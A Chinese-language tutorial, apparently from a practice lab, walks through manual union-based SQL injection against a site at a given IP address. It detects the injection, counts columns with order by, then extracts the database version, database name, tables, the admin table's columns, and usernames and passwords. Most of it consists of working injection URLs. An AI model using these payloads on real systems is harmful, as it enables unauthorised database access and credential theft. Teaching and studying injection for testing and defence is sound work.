1. 判断是否存在注入
1.1 链接:http://120.203.13.75:6815/?id=1
1.2 ?id=1空一格,再分别加上and 1=1 和 and 1=2,如果返回结果不一样,则存在注入
1.3 原理:?id=1实际上是一个数据库查询操作,如果分别加上and 1=1 和 and 1=2结果不一样,说明这块内容被传入数据库参与了查询操作,所以导致结果不一样。
2. 找到注入点
2.1 使用order by猜注入点,and 1=1 order by 102.2 二分法直到找到临界点即注入点,比如order by 2不报错,order by 3报错,注入点为2
2.3 原理:# select * from colintest.`tasks` order by 10 LIMIT 0, 1000Unknown column '10' in 'order clause'PS:order by 2不会报错,order by 3会报错,说明表中只有2列数据(2个字段)
3. 确定数据库版本
3.1 http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,version()
3.2 返回数据库版本5.5.53
3.3 原理:SELECT后边的1是凑数的,凑够上边表中的2个字段
# SELECT * FROM colintest.`tasks` WHERE taskid =1 AND 1=2 UNION SELECT 1,2,3,VERSION();
# AND 1=2不返回tasks表中的内容;UNION 的目的是将两个 SQL 语句的结果合并起来;SELECT 1,2,3,VERSION();中1,2,3凑数,VERSION()返回数据库版本
# VERSION()是数据库默认函数,
如:SELECT VERSION();# 类似的还有:DATABASE()、SCHEMA 返回当前数据库名USER()、SYSTEM_USER()
4. 爆数据库名
同上, http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,database()库名:maoshe
5. 查询表名
同上,http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()表名:admin
6. 查询密码
6.1 确认表中有哪些字段
http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='admin' 返回id
http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='admin' limit 1,2 返回username
http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='admin' limit 2,3 返回password
http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='admin' limit 3,4,没有返回值
说明admin表有三个字段:id,username,password
# SELECT * FROM colintest.`tasks` WHERE taskid =1 AND 1=2 UNION SELECT 1,2,3,column_name FROM information_schema.columns WHERE table_name='tasks';
6.2 根据username和password查询到用户名密码
http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,username from admin
http://120.203.13.75:6815/?id=1 and 1=2 UNION SELECT 1,password from admin
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.